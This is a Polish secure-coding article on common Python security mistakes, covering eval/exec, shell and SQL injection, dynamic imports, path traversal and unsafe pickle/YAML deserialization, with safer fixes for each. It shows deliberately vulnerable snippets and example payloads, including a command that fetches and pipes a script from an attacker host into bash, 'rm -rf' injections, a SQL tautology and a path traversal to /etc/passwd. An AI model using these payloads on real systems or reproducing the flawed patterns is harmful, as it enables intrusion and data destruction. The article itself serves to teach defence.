Bezpieczne programowanie w Pythonie: najczęstsze błędy, które otwierają drzwi hakerom

0
45
3.5/5 - (2 votes)

Nawigacja:

Dlaczego Python bywa niebezpiecznie wygodny

Wygoda, która usypia czujność

Python jest jednym z najbardziej „przyjaznych” języków programowania: ma prostą składnię, ogromny ekosystem bibliotek i pozwala bardzo szybko coś „poskładać”. Ta wygoda ma jednak ciemną stronę – sprzyja ignorowaniu bezpieczeństwa. Gdy kod „działa” i zwraca poprawne wyniki, wiele zespołów uznaje temat za zamknięty. Do momentu, gdy ktoś z zewnątrz zacznie traktować ten kod jako bramę wejściową do systemu.

Atakujący wcale nie potrzebują zero-dayów czy egzotycznych exploitów. W zupełności wystarczą im typowe błędy bezpieczeństwa, które powtarzają się w aplikacjach Python: nadmierne zaufanie do danych wejściowych, użycie eval, sklejenie komendy powłoki z danych użytkownika, brak parametryzacji zapytań SQL czy trzymanie haseł do bazy w repozytorium. To właśnie takie proste zaniedbania tworzą realne podatności aplikacji Python, nawet jeśli projekt jest mały.

Python, dzięki dynamicznej naturze, daje olbrzymie możliwości manipulowania kodem w czasie działania. To błogosławieństwo dla narzędzi automatyzujących i systemów pluginów, ale równocześnie koszmar, jeśli do tych mechanizmów kiedykolwiek dojdą dane użytkownika. Tam, gdzie w językach statycznych coś byłoby trudno wykonalne, w Pythonie często wystarczy jedna linijka – niestety także dla atakującego.

Co faktycznie atakujący wykorzystują w kodzie Python

W realnych incydentach rzadko chodzi o spektakularne luki w samym interpreterze Pythona. Znacznie częściej wykorzystuje się zwykłe błędy w kodzie biznesowym i otoczeniu aplikacji. Kilka typowych scenariuszy:

  • Aplikacje webowe (Django, Flask, FastAPI) – klasyka to SQL injection przez nieparametryzowane zapytania, wstrzykiwanie kodu w szablonach, błędy w mechanizmach sesji i autoryzacji, XSS przez nieoczyszczone dane wyjściowe czy błędna konfiguracja debug mode.
  • Skrypty automatyzujące (DevOps, CI/CD) – wiele z nich uruchamia komendy systemowe na podstawie danych z zewnątrz (np. nazwa branche w CI, parametry jobów), często skleja ścieżki i argumenty powłoki z niezweryfikowanych zmiennych. Jedno wstrzyknięcie znaku średnika lub pipe’a potrafi zmienić benigny skrypt w narzędzie do przejęcia serwera.
  • Narzędzia CLI używane przez wielu użytkowników – jeśli pobierają konfigurację z plików, zmiennych środowisk lub gniazd sieciowych i traktują te dane jako „zaufane”, atakujący może podłożyć złośliwą konfigurację czy payload, który otworzy furtkę do systemu.

Do tego dochodzi „klej” między systemami: małe skrypty ETL, integracje między mikroserwisami, serwisy data science wykonujące cudzy kod lub analizujące pliki. Tam, gdzie programista wychodzi z założenia „to tylko mały helper, nikt go nie zobaczy”, powstają luki, które potem pozwalają przejąć całą infrastrukturę.

Niebezpieczne złudzenia przy małych projektach

Najgroźniejsze są aplikacje uznane za „zbyt małe, aby kogokolwiek interesowały”. Typowe usprawiedliwienia:

  • „To tylko skrypt admina” – ale ten skrypt ma dostęp do kluczy SSH, plików konfiguracyjnych, baz danych i systemu plików całego serwera.
  • „Tu nie ma żadnych wrażliwych danych” – założenie, które szybko pada, gdy okazuje się, że z tej aplikacji da się przejść do innych usług wewnętrznych, gdzie dane już są wrażliwe.
  • „To środowisko testowe” – a testowe i produkcyjne bazy często współdzielą konta, schematy lub nawet całe serwery. Dla atakującego wystarczy jedna dziura, niezależnie od etykiety „test” czy „prod”.

Funkcjonalny błąd usuwa się zwykle po zauważeniu – aplikacja nie działa, użytkownik zgłasza problem. Luka bezpieczeństwa często latami pozostaje niewidoczna, dopóki ktoś jej świadomie nie poszuka. Ten sam kod, który „działa”, może być jednocześnie otwartymi drzwiami dla hakerów.

Błąd funkcjonalny kontra luka bezpieczeństwa

Ta sama konstrukcja w Pythonie może być postrzegana jako niewielki bug albo jako krytyczna podatność, zależnie od kontekstu. Przykładowo:

def get_user(id):
    query = f"SELECT * FROM users WHERE id = {id}"
    cursor.execute(query)

Z punktu widzenia funkcjonalnego, dopóki id jest liczbą, kod działa poprawnie. Dla systemu QA problemu nie ma. Z perspektywy bezpieczeństwa jest to klasyczny SQL injection, jeśli id pochodzi z danych wejściowych użytkownika. Ten sam fragment, inny punkt widzenia – i drastycznie inne konsekwencje.

Bezpieczne programowanie w Pythonie wymaga zmiany nawyku: nie wystarczy sprawdzić, czy „działa”. Trzeba jeszcze zadać pytanie: „co się stanie, jeśli ktoś włoży tu złośliwe dane?” oraz „co ten proces potrafi zrobić z systemem, jeśli zostanie przejęty?”.

Osoba czyta książkę Python dla administracji systemów Linux i Unix
Źródło: Pexels | Autor: Christina Morillo

Podstawy modelu zagrożeń w świecie Pythona

Co może pójść źle w typowej aplikacji Python

Nawet najprostsza aplikacja Python prawie zawsze wchodzi w interakcje z otoczeniem: czyta pliki, łączy się z bazą, wykonuje polecenia systemowe, komunikuje się przez sieć. Każdy taki punkt styku jest potencjalnym wektorem ataku. Najczęstsze konsekwencje błędów:

  • Dostęp do plików – wczytywanie dowolnych ścieżek przesłanych przez użytkownika (path traversal), nadpisywanie ważnych plików logiem lub uploadem, odczyt kluczy, konfiguracji, backupów.
  • Nieautoryzowany dostęp do baz danych – wyciek danych przez SQL injection, modyfikacja rekordów, założenie kont administracyjnych, usuwanie tabel.
  • Zdalne wykonanie kodu (RCE) – możliwość wykonania arbitralnych poleceń systemowych lub kodu Python w kontekście procesu, np. przez eval, exec lub niebezpieczne biblioteki deserializacji.
  • Przejęcie kont użytkowników – błędy w uwierzytelnianiu, resetowaniu haseł, sesjach, JWT, logice autoryzacji.
  • Ataki typu DoS – blokowanie zasobów przez ekstremalnie duże lub zagnieżdżone dane wejściowe, intensywne zapytania lub specyficzne payloady (np. zip bomb).

Świadome budowanie modelu zagrożeń to zderzenie tego, co aplikacja robi, z tym, co może zrobić atakujący, jeśli zacznie sterować danymi wejściowymi lub ruchem sieciowym.

Praktyczne myślenie o modelu zagrożeń

Model zagrożeń to nie akademicka zabawa w rysowanie diagramów, tylko bardzo pragmatyczne pytania zadane przed i w trakcie pisania kodu. Podstawowy zestaw:

  • Kto może atakować? – anonimowy użytkownik internetu, zalogowany klient, pracownik wewnętrzny, usługa w tym samym VPC, skompromitowany mikroserwis?
  • Co może robić aplikacja? – czyta/ zapisuje pliki? Ma dostęp do produkcyjnej bazy? Uruchamia komendy powłoki? Łączy się z zewnętrznymi API?
  • Skąd przychodzą dane? – requesty HTTP, gniazda TCP, kolejki (Kafka, RabbitMQ), pliki uploadowane, system plików, zmienne środowiskowe, cache?
  • Jaki jest cel atakującego? – kradzież danych, eskalacja uprawnień, pivot do innych systemów, sabotaż, kryptomining?

Odpowiedzi determinują, które fragmenty kodu Python są najbardziej krytyczne. Skrypt cron odpalany z rootem i wykonujący komendy z pliku konfiguracyjnego jest zupełnie innym poziomem ryzyka niż narzędzie do formatowania tekstu używane lokalnie bez żadnych danych sieciowych.

Różne profile ryzyka: web, DevOps, data science

Nie każda aplikacja Python jest taka sama. Ten sam błąd w zależności od kontekstu może być śmiertelny albo marginalny. Kilka charakterystycznych profili:

  • Aplikacje webowe (Django/Flask/FastAPI) – największym problemem jest ogromny, niekontrolowany ruch z zewnątrz. Każdy endpoint to potencjalny wektor ataku: wstrzykiwanie danych w formularzach, nagłówkach, plikach, parametrach zapytań. Web-frameworki pomagają (CSRF, ORM, escapowanie), ale błędna konfiguracja lub customowy kod potrafią to zniwelować.
  • Skrypty DevOps/CI – często mają bardzo szerokie uprawnienia (root, klucze do chmury, dostęp do repozytoriów i artefaktów), ale niewiele walidacji danych. Błąd w obsłudze parametrów joba czy zmiennych środowisk potrafi otworzyć pełny dostęp do infrastruktury.
  • Narzędzia data science uruchamiane na serwerze – jeśli wykonują kod z notebooków, skryptów czy konfiguracji dostarczonych przez użytkowników, nierzadko kończy się to możliwością zdalnego wykonania kodu na serwerze compute, który ma dostęp do masy danych i innych zasobów.

To, że coś „stoi za VPN-em” lub jest „tylko do wewnętrznego użytku”, nie chroni przed błędami bezpieczeństwa. Atak bardzo często zaczyna się właśnie od najmniej chronionej, „wewnętrznej” usługi Python.

Typowy scenariusz: skrypt backupu jako furtka

Klasyczny przykład z praktyki: prosty skrypt w Pythonie, który wykonuje backupy baz danych. Działa jako cron z uprawnieniami pozwalającymi czytać wszystkie dane i zapisywać archiwa w lokalizacji sieciowej. Dla wygody, lista baz i serwerów jest pobierana z pliku konfiguracyjnego lub z bazy konfiguracyjnej, a wykonywanie kopii jest zrealizowane przez sklejenie komendy powłoki:

cmd = f"pg_dump -h {host} -U {user} {db_name} > {backup_path}"
os.system(cmd)

Dopóki wszystko jest „w rodzinie”, działa. Wystarczy jednak, że ktoś uzyska możliwość edycji rekordu konfiguracyjnego lub pliku (np. przez inną lukę, błędnie skonfigurowane uprawnienia, przejęcie konta). W polu db_name wpisuje następujący ciąg:

real_db; rm -rf /important/data

Skrypt posłusznie wykona wszystko, co dostał, bo programista założył, że „to tylko zaufana konfiguracja”. W takiej sytuacji skutki są oczywiste: pełna kontrola nad systemem, mimo że „to tylko skrypt do backupów”.

Niebezpieczna dynamika Pythona: eval, exec, dynamiczny import

Eval i exec – krótka droga do zdalnego wykonania kodu

Funkcje eval i exec są często kuszącym rozwiązaniem: „przecież muszę tylko wykonać wyrażenie przesłane przez użytkownika” albo „konfiguracja jest w formie kodu, nie chce mi się pisać parsera”. Problem w tym, że cokolwiek przekażesz do eval/exec, zostanie zinterpretowane jako kod Python i wykonane z uprawnieniami procesu.

Przykład „niewinnego” kalkulatora webowego:

# NIE RÓB TAK
@app.post("/calculate")
def calculate(expr: str):
    return {"result": eval(expr)}

Użytkownik zamiast prostego 2+2 wysyła:

__import__("os").system("rm -rf /")

W zależności od uprawnień procesu zyskuje możliwość wykonania dowolnej komendy systemowej. Nawet „ograniczone” sandboxy budowane na eval zwykle rozbijają się o to, że w Pythonie bardzo łatwo wydostać się do modułów standardowych (np. przez __mro__, __subclasses__, introspekcję obiektów).

Bezpieczne programowanie w Pythonie praktycznie zawsze oznacza: kategoryczny zakaz używania eval i exec na danych pochodzących choćby pośrednio od użytkownika. Jeśli ktoś sugeruje inaczej, powinien mieć naprawdę bardzo mocne, audytowane uzasadnienie i separację procesów.

Dynamiczny import i manipulacja sys.path

Python pozwala dynamicznie importować moduły na podstawie stringów: __import__, importlib.import_module, modyfikacja sys.path. Stosowane z głową, umożliwiają budowę systemów pluginów lub ładowanie modułów tylko wtedy, gdy są potrzebne.

Problem zaczyna się, gdy nazwy modułów lub ścieżki do nich pochodzą z niezaufanego źródła: pliku konfiguracyjnego, bazy, zmiennej środowiskowej czy – co gorsza – danych użytkownika. Scenariusz jest prosty:

  • Atakujący umieszcza złośliwy moduł plugin.py w ścieżce, którą aplikacja doda do sys.path.
  • Konfiguracja wskazuje na załadowanie „pluginu” o nazwie plugin.
  • Aplikacja wykonuje importlib.import_module("plugin") i uruchamia plugin.run().

W efekcie atakujący uzyskuje wykonywanie własnego kodu w procesie aplikacji. Ryzyko rośnie, gdy aplikacja uruchamiana jest z szerokimi uprawnieniami lub na serwerze produkcyjnym.

Jak (prawie) bezpiecznie ograniczać użycie eval/exec

Czasem pada argument: „ale ja używam eval tylko do prostych wyrażeń matematycznych, co może pójść źle?”. Najkrótsza odpowiedź: więcej, niż się wydaje. Jeśli mimo wszystko ktoś forsuje ten pomysł, minimum przyzwoitości to zastąpienie eval czymś, co naprawdę nie interpretuje dowolnego kodu.

Zamiast wykonać string jako kod, lepiej zbudować własne ograniczone środowisko lub skorzystać z istniejących parserów/interpretatorów domenowych. Przykład minimalnego podejścia dla prostego kalkulatora:

import ast
import operator

ALLOWED_OPS = {
    ast.Add: operator.add,
    ast.Sub: operator.sub,
    ast.Mult: operator.mul,
    ast.Div: operator.truediv,
    ast.Pow: operator.pow,
    ast.USub: operator.neg,
}

def safe_eval_expr(expr: str) -> float:
    node = ast.parse(expr, mode="eval")

    def _eval(n):
        if isinstance(n, ast.Expression):
            return _eval(n.body)
        if isinstance(n, ast.Num):  # Python < 3.8
            return n.n
        if isinstance(n, ast.Constant):  # Python 3.8+
            if isinstance(n.value, (int, float)):
                return n.value
            raise ValueError("Niedozwolony typ stałej")
        if isinstance(n, ast.BinOp) and type(n.op) in ALLOWED_OPS:
            return ALLOWED_OPS[type(n.op)](_eval(n.left), _eval(n.right))
        if isinstance(n, ast.UnaryOp) and type(n.op) in ALLOWED_OPS:
            return ALLOWED_OPS[type(n.op)](_eval(n.operand))
        raise ValueError("Niedozwolone wyrażenie")

    return _eval(node)

To nadal nie jest idealny parser algebraiczny, ale przynajmniej nie ma tu możliwości wywołania __import__, odwołań do atrybutów czy tworzenia obiektów. Złożoność rośnie, gdy dochodzą zmienne, funkcje, logika biznesowa – w którymś momencie bardziej rozsądne staje się zdefiniowanie języka konfiguracji (YAML, JSON, prosty DSL) niż tworzenie „pół-bezpiecznej” protezy eval.

Najmniej złym kompromisem bywa też całkowita separacja procesów: jeśli ktoś uparcie potrzebuje „uruchamiać kod użytkownika w Pythonie”, rozsądniej jest:

  • odpalać go w osobnym procesie lub kontenerze z restrykcyjnymi limitami (uid bez uprawnień, brak dostępu do sieci, ograniczony CPU/RAM),
  • komunikować się z tym procesem po dobrze zdefiniowanym protokole (stdin/stdout, gRPC, kolejka),
  • założyć, że kod w sandboxie i tak kiedyś się „wydostanie” – i projektować infrastrukturę, zakładając taki scenariusz.

Nadużywanie refleksji, getattr i setattr

Po eval/exec następna kategoria kłopotliwych „udogodnień” to refleksja: getattr, setattr, hasattr, dynamiczne budowanie nazw atrybutów i metod. Sam mechanizm nie jest zły, problemem jest łączenie go z niezaufanymi danymi.

class UserService:
    def create(self, data): ...
    def delete(self, user_id): ...
    def ban(self, user_id): ...

def handle_action(service: UserService, action: str, payload: dict):
    # NIE RÓB TAK
    method = getattr(service, action)
    return method(**payload)

Dopóki akcje są twardo zakodowane, ryzyko jest umiarkowane. Gdy ciąg action pochodzi z requestu lub pliku konfiguracyjnego, robi się gorzej:

  • można wywołać metody wewnętrzne (np. _init_admin), jeśli istnieją,
  • da się dobrać do atrybutów technicznych (np. __dict__),
  • łatwo przegapić zmianę API, która nagle otworzy nową powierzchnię ataku.

Bezpieczniej jest użyć jawnej mapy dozwolonych operacji:

ACTIONS = {
    "create": UserService.create,
    "delete": UserService.delete,
    "ban": UserService.ban,
}

def handle_action(service: UserService, action: str, payload: dict):
    try:
        fn = ACTIONS[action]
    except KeyError:
        raise ValueError("Niedozwolona akcja")
    return fn(service, **payload)

To mniej „magiczne”, ale przynajmniej widać, które metody są wystawione „na zewnątrz”. Analogicznie z setattr: aktualizowanie obiektu na podstawie słownika z requestu bez białej listy pól zwykle kończy się masową nadpisywaniem atrybutów, których nikt nie planował zmieniać (np. flaga is_admin, status konta, wewnętrzne liczniki).

Dynamiczny import w systemach pluginów – gdzie leży granica rozsądku

Sam dynamiczny import nie jest z definicji zły. Problem pojawia się, gdy aplikacja:

  • ładuje moduły z lokacji, nad którą nie ma pełnej kontroli (np. katalog współdzielony z inną usługą),
  • opiera wybór modułu na stringu wczytanym z bazy lub requestu HTTP,
  • manipuluje sys.path w locie w sposób, którego nikt nie audytuje.

Dość typowy antywzorzec:

# plugins_dir pochodzi z pliku konfiguracyjnego
sys.path.append(plugins_dir)

def load_plugin(name: str):
    module = importlib.import_module(name)
    return module.Plugin()

Wystarczy, że ktoś wgra plik os.py lub logging.py do katalogu pluginów (albo do katalogu, który przypadkiem jest wyżej na liście sys.path) i importy zaczną wskazywać na złośliwy kod zamiast standardowej biblioteki. To już nie jest abstrakcyjny scenariusz – takie incydenty zdarzały się w realnych projektach.

Przyzwoite minimum higieny w systemach pluginów:

  • twarda, statyczna lista katalogów pluginów, najlepiej wbudowana w kod lub przekazywana tylko przez zaufany mechanizm deploymentu,
  • brak modyfikacji sys.path w locie; zamiast tego jawne ładowanie plików z konkretnych ścieżek,
  • podpisywanie lub hashowanie pluginów i weryfikacja przy starcie aplikacji,
  • jasno zdefiniowane API pluginu (interfejs), zamiast odpalenia „czegokolwiek, co jest w module”.
Programista piszący kod Pythona na laptopie obok książki o Pythonie
Źródło: Pexels | Autor: Christina Morillo

Wstrzykiwanie komend i SQL: jak Python ułatwia życie atakującym

Shell injection w praktyce – gdzie szwankuje zdrowy rozsądek

Python ma wygodne wrappery na powłokę: os.system, subprocess.run, subprocess.Popen. Problem zaczyna się tam, gdzie ktoś łączy stringi i oddaje je do interpretacji shellowi. Klasyczne „połączenie wszystkiego w jedną linię”:

# NIE RÓB TAK
def ping_host(host: str) -> bool:
    cmd = f"ping -c 1 {host}"
    return os.system(cmd) == 0

Niewinne, dopóki host pochodzi z zaufanego źródła. Jeśli jednak wartość trafia z requestu HTTP, formularza, kolejki czy nawet z bazy (którą ktoś gdzieś mógł już zainfekować), klasyczny payload typu:

8.8.8.8; curl http://attacker/payload.sh | bash

spowoduje wykonanie nie tylko pinga, ale i całego dodatkowego łańcucha poleceń.

Podstawowa zasada: jeśli nie potrzebujesz funkcji shellowych (pipe’y, redirekcje, wildcardy), nie używaj powłoki. Zamiast tego przekazuj parametry jako listę argumentów do subprocess:

import subprocess

def ping_host(host: str) -> bool:
    result = subprocess.run(
        ["ping", "-c", "1", host],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        check=False,
    )
    return result.returncode == 0

Kluczowy detal: shell=False (domyślnie) oznacza, że nie ma interpretacji ciągu przez powłokę. Nawet jeśli w host pojawi się średnik czy pipe, zostaną przekazane jako część argumentu, a nie jako osobne polecenie.

Gdy shell=True jest (prawie) nieunikniony

Zdarzają się scenariusze, w których funkcje powłoki są realnie potrzebne: złożone wildcardy, ekspansja zmiennych, pipeline’y. Tu nie ma idealnych rozwiązań, ale można zminimalizować ryzyko:

  • rozbij polecenie na część stałą i zmienne argumenty,
  • argumenty buduj jako osobne elementy, a następnie escapuj zgodnie z regułami shella,
  • włącz shell=True tylko tam, gdzie to absolutnie konieczne.

Przykładowo:

import subprocess
import shlex

def grep_in_logs(pattern: str, logfile: str) -> str:
    # pattern/logfile NIE MOGĄ być dowolnymi danymi użytkownika
    safe_pattern = shlex.quote(pattern)
    safe_logfile = shlex.quote(logfile)
    cmd = f"grep {safe_pattern} {safe_logfile}"
    return subprocess.check_output(cmd, shell=True, text=True)

shlex.quote nie rozwiązuje wszystkich problemów (np. nie chroni przed błędami logiki), ale przynajmniej zabezpiecza przed prostymi wstrzyknięciami komend przez spacje czy średniki. I tak jednak trzeba sobie uczciwie powiedzieć: jeśli dane wchodzące do polecenia są w jakikolwiek sposób kontrolowane przez użytkownika, shell=True to proszenie się o kłopoty.

F-stringi i formatowanie a SQL injection

Pythonowe f-stringi są wygodne i czytelne, więc szybko trafiają również do zapytań SQL. To, z punktu widzenia bezpieczeństwa, mieszanka wybuchowa. Przykład, który naprawdę często pojawia się w kodzie:

# NIE RÓB TAK
def get_user(conn, username: str):
    sql = f"SELECT * FROM users WHERE username = '{username}'"
    with conn.cursor() as cur:
        cur.execute(sql)
        return cur.fetchone()

Przy poprawnym wejściu kod działa. Gdy jednak ktoś poda:

admin' OR '1'='1

zapytanie zmienia się w:

SELECT * FROM users WHERE username = 'admin' OR '1'='1'

co w zależności od bazy zwróci pierwszego użytkownika, cały zestaw lub wyrzuci błąd. Dalej typowy scenariusz eskalacji: próby wstrzyknięcia UNION SELECT, podzapytania z DDL/ DML, aż do pełnego przejęcia bazy.

Parametryzowane zapytania – teoria vs praktyka

Większość adapterów baz danych dla Pythona (psycopg2, mysqlclient, sqlite3, biblioteki dla ORM-ów) wspiera parametryzację. W teorii wystarczy „użyć parametrów zamiast formatowania ciągów”. W praktyce programiści często mieszają oba podejścia:

# TEŻ ZŁO
sql = f"SELECT * FROM {table} WHERE username = %s"
cur.execute(sql, (username,))

Parametryzacja odbywa się tylko dla username, natomiast nazwa tabeli ląduje w SQL jako surowy string, bez escapingu. Jeśli atakujący przejmie kontrolę nad table, może spokojnie dopisać tam fragmenty zapytania. Tutaj granica bezpieczeństwa jest dość prosta:

  • parametryzować wartości (dane),
  • nie parametryzować struktury zapytania (nazwy tabel, kolumn, klauzule).

Jeśli struktura ma zależeć od użytkownika (np. sortowanie, wybrana kolumna), zamiast wstrzykiwania stringów warto wprowadzić jawne mapy:

ALLOWED_SORT_COLUMNS = {
    "created_at": "created_at",
    "username": "username",
}

def list_users(conn, sort_by: str):
    try:
        sort_col = ALLOWED_SORT_COLUMNS[sort_by]
    except KeyError:
        raise ValueError("Niedozwolone sortowanie")

    sql = f"SELECT id, username FROM users ORDER BY {sort_col}"
    with conn.cursor() as cur:
        cur.execute(sql)
        return cur.fetchall()

Dopiero w takim układzie parametryzacja (przekazywana oddzielnie dla wartości WHERE) ma sens. Kluczowy wniosek: parametryzacja nie jest panaceum; nadal można zepsuć zapytanie dynamicznym sklejeniem SQL-a z pół-losowych fragmentów.

ORM to nie tarcza nie do przebicia

Częsty mit: „używamy ORM-a (Django ORM, SQLAlchemy), więc nie ma SQL injection”. To raczej życzeniowe myślenie. ORM ułatwia bezpieczne budowanie zapytań, ale nie chroni przed własnoręcznym wstrzykiwaniem stringów. Typowe wpadki:

  • używanie .raw(), text(), execute() z dynamicznym SQL-em sklejonym z f-stringów,
  • budowanie filtrów przez extra() (w starym Django) z niekontrolowanymi fragmentami klauzul,
  • dynamiczne sortowanie/filtry bez białych list (mapowanie wartości z requestu bez weryfikacji na nazwy pól modeli).

Bezpieczniej jest maksymalnie długo „pozostać” w abstrahującym API ORM-u, a jeśli nietypowe zapytanie jest konieczne, potraktować je jak kod w języku niskiego poziomu: mała, dobrze przetestowana funkcja, parametryzacja przez adapter bazy, zero f-stringów.

Osoba pisząca na laptopie obok książki o programowaniu w Pythonie
Źródło: Pexels | Autor: Christina Morillo

Niebezpieczne obchodzenie się z danymi wejściowymi i serializacją

Walidacja danych: regexp to za mało

Większość aplikacji webowych w Pythonie przyjmuje dane z HTTP, kolejek, plików lub websocketów. Problemem nie jest sam fakt, że dane pochodzą z zewnątrz, tylko to, że kod często traktuje je jakby były już „oswojone”. Kilka schematów, które powtarzają się do bólu:

  • walidacja po stronie frontendu, a backend przyjmuje wszystko,
  • „prosta” walidacja regexem zamiast spójnego modelu danych,
  • niejednolite zasady: inne reguły w formularzu HTML, inne w API, inne w zadaniu z Celery.

Naiwny regex typu:

import re

USERNAME_RE = re.compile(r"^[a-z0-9_]{3,20}$")

def is_valid_username(username: str) -> bool:
    return bool(USERNAME_RE.match(username))

wygląda przyzwoicie, ale od razu rodzą się pytania: co z wielkością liter (jednoznaczne reguły)? co z Unicode (polskie znaki, inne alfabety)? czy długość liczyć w bajtach, czy w znakach? W aplikacjach wielojęzycznych czy wielonarodowych takie uproszczenia często rozpadają się przy pierwszym kliencie spoza pierwotnego targetu. Do tego dochodzą nietrywialne kwestie typu normalizacji Unicode (różne sposoby zapisu tego samego znaku, co ma wpływ na porównania i indeksy w bazie).

Stabilniejszym podejściem jest centralna definicja schematów danych i walidacja w jednym miejscu. Popularne wybory:

  • pydantic w FastAPI i nie tylko,
  • dataclasses + własna walidacja,
  • marshmallow, attrs, lub biblioteki wywodzące się z Django/DRF.

Przykładowy model z Pydantic:

from pydantic import BaseModel, constr

class UserCreate(BaseModel):
    username: constr(regex=r"^[a-z0-9_]{3,20}$")
    email: constr(min_length=5, max_length=255)
    age: int | None = None

Raz zdefiniowany model służy jako kontrakt między warstwami. To nie usuwa ryzyka (błędy logiki i tak się zdarzają), ale znacząco ogranicza rozjeżdżanie się walidacji w różnych częściach kodu.

Typowe wektory ataku przez dane wejściowe poza SQL i shellem

Skupienie się wyłącznie na SQL i shell injection powoduje, że ignorowane są inne ścieżki, często mniej oczywiste:

  • nagłówki HTTP przenoszące niespodziewane wartości (np. X-Forwarded-For używany „na słowo” jako IP klienta),
  • nazwy plików wykorzystywane do nawigacji po systemie (path traversal),
  • JSON-y z dodatkowymi polami, które ktoś po cichu zaczyna używać w logice biznesowej.

Przykład niepozornego błędu przy pobieraniu pliku:

# NIE RÓB TAK
from flask import send_file, request

def download():
    filename = request.args["file"]
    path = f"/var/app/uploads/{filename}"
    return send_file(path, as_attachment=True)

Jeśli nie ma żadnej weryfikacji filename, payloady typu:

../../../etc/passwd

lub ich zakodowane warianty (URL-encoding, UTF-8) mogą doprowadzić do odczytu dowolnych plików, do których proces ma dostęp. Obrona jest prosta koncepcyjnie, ale w praktyce często zaniedbywana:

  • trzymanie metadanych o plikach w bazie i odwoływanie się po identyfikatorze (nie po nazwie z żądania),
  • „root” katalogu ustawiony w konfiguracji i obowiązkowa normalizacja ścieżki (np. os.path.realpath, pathlib.Path.resolve) z kontrolą, czy nie wychodzi poza ten katalog,
  • bezpośrednie korzystanie z identyfikatorów UUID zamiast nazw przekazywanych przez klienta.

JSON nie jest z definicji „bezpieczny”

JSON jest prostszy niż XML, nie ma DTD ani wbudowanych encji zewnętrznych, co usuwa sporą klasę ataków znanych z parserów XML. To jednak nie oznacza, że JSON-owe wejście jest automatycznie bezproblemowe:

  • duże lub zagnieżdżone struktury mogą doprowadzić do zużycia pamięci i CPU (np. przy naiwnej rekursji),
  • brak walidacji typów powoduje błędy logiki („true” jako string vs true jako bool),
  • nadmiarowe pola bywają wykorzystywane w nieprzemyślanych miejscach (np. ktoś przyjmuje, że jeśli pole istnieje, to pochodzi z zaufanego komponentu).

Prosty przykład przeciążenia pamięci:

import json
from flask import request

# NIE RÓB TAK W APLIKACJACH PUBLICZNYCH
data = json.loads(request.data)
process(data)

Jeżeli serwer przyjmie dowolnie duże ciało requestu i prześle je w całości do json.loads, atak typu „jedno zapytanie, które zjada gigabajty RAM-u” staje się banalny. Minimalne środki ostrożności obejmują:

  • ograniczenie rozmiaru requestu (np. w Nginx/Traefik/ASGI/WSGI),
  • w przypadku API – twarde limity rozmiaru typowych pól (np. pole tekstowe max X KB),
  • streamingowy parsing, jeśli musimy przetwarzać duże dane (ijson lub własna logika chunków zamiast jednego loads).

Serializacja w Pythonie: wygoda kontra egzekucja kodu

Serializacja obiektów w Pythonie to pole minowe. Główny winowajca jest znany od lat: pickle. Oficjalna dokumentacja wprost mówi, że ładowanie pickli z niezaufanego źródła jest niebezpieczne, ale w praktyce ten komunikat bywa ignorowany, bo „to tylko wewnętrzna komunikacja między usługami”.

Podstawowy problem: format pickla opisuje nie tylko dane, ale również jak odtworzyć obiekt – co często sprowadza się do wywołań funkcji/konstruktorów wskazanych w strumieniu. Daje to pełne RCE (remote code execution), jeśli atakujący może wstrzyknąć własny strumień serializowany lub podmienić przechowywany plik.

import pickle

# NIE RÓB TAK
def load_user_session(session_id: str):
    with open(f"/var/sessions/{session_id}.pkl", "rb") as f:
        return pickle.load(f)

Jeśli ktoś ma wpływ na zawartość pliku .pkl (bezpośrednio lub pośrednio), może umieścić tam obiekt, którego deserializacja wywoła dowolny kod z Twojej aplikacji.

Bezpieczniejsze alternatywy dla pickle

W większości scenariuszy, w których pojawia się pickle, wcale nie jest on potrzebny. Zwykle wystarczy:

  • json – do prostych struktur (słowniki, listy, liczby, tekst),
  • msgpack – binarny odpowiednik JSON-a, wydajniejszy przy dużej liczbie komunikatów,
  • dataclasses lub Pydantic + własne .dict()/.model_dump().

Jeśli konieczne jest odtworzenie bardziej złożonych obiektów, rozsądniej jest wprowadzić wyraźny, jawny format (np. JSON z polem "type") i zmapować go na konkretne klasy w kodzie, zamiast polegać na dowolnej deserializacji z pickla:

import json
from dataclasses import dataclass

@dataclass
class EmailTask:
    to: str
    subject: str
    body: str

TASK_TYPES = {
    "email": EmailTask,
}

def load_task(data: str):
    raw = json.loads(data)
    task_type = raw.pop("type")
    cls = TASK_TYPES[task_type]
    return cls(**raw)

Taki mechanizm ma swoje wady (trzeba utrzymywać mapę typów), ale przynajmniej jest jasne, jakie klasy mogą być odtwarzane. Nie ma tu swobodnego wywoływania arbitralnych funkcji podanych przez atakującego.

Jeśli naprawdę musisz użyć pickle

W projektach stricte wewnętrznych albo w systemach, gdzie format jest zabetonowany historycznie, całkowite pozbycie się pickla bywa trudne. Wtedy jedyną rozsądną strategią jest zawężanie powierzchni ataku do minimum:

  • nie ładuj pickli z zewnętrznych systemów, które nie są w całości pod Twoją kontrolą,
  • unikaj przechowywania pickli w lokalizacjach, do których ma dostęp użytkownik (np. katalogi uploadów),
  • w miarę możliwości ogranicz uprawnienia procesu odczytującego pickla (odseparowany worker, użytkownik systemowy z minimalnymi prawami),
  • rozważ podpisywanie lub MAC (HMAC) dla pickli, aby wykrywać podmianę danych w locie.

To nie przekształca pickla w bezpieczny format, ale zmniejsza skutki ewentualnego incydentu. W praktyce rozsądnie jest traktować proces ładujący pickla jak kod o podobnym poziomie ryzyka, co skrypt odpalany przez eval z zewnętrznego źródła.

YAML, XML i inne „bogate” formaty

Python ma parsery dla szeregu bardziej zaawansowanych formatów: YAML, XML, a w bibliotekach firm trzecich – jeszcze bardziej egzotycznych. Historia pokazuje, że im bogatszy format, tym większe ryzyko, że parser będzie robił za dużo „magii” w tle.

W YAML-u typową pułapką jest ładowanie z yaml.load bez bezpiecznego loadera. Starsze wersje PyYAML pozwalały na deserializację dowolnych obiektów, co prowadziło do RCE podobnie jak w pickle’u.

import yaml

# NIE RÓB TAK
config = yaml.load(open("config.yaml"))

Bezpieczniejszy wariant to:

import yaml

with open("config.yaml") as f:
    config = yaml.safe_load(f)

safe_load ogranicza się do podstawowych typów (słowniki, listy, skalarne wartości), bez tworzenia obiektów arbitralnych klas. Podobna logika obowiązuje przy parserach XML – używać trybów bezpiecznych, wyłączających automatyczne ładowanie encji zewnętrznych (ataki typu XXE).

Logi jako źródło kłopotów

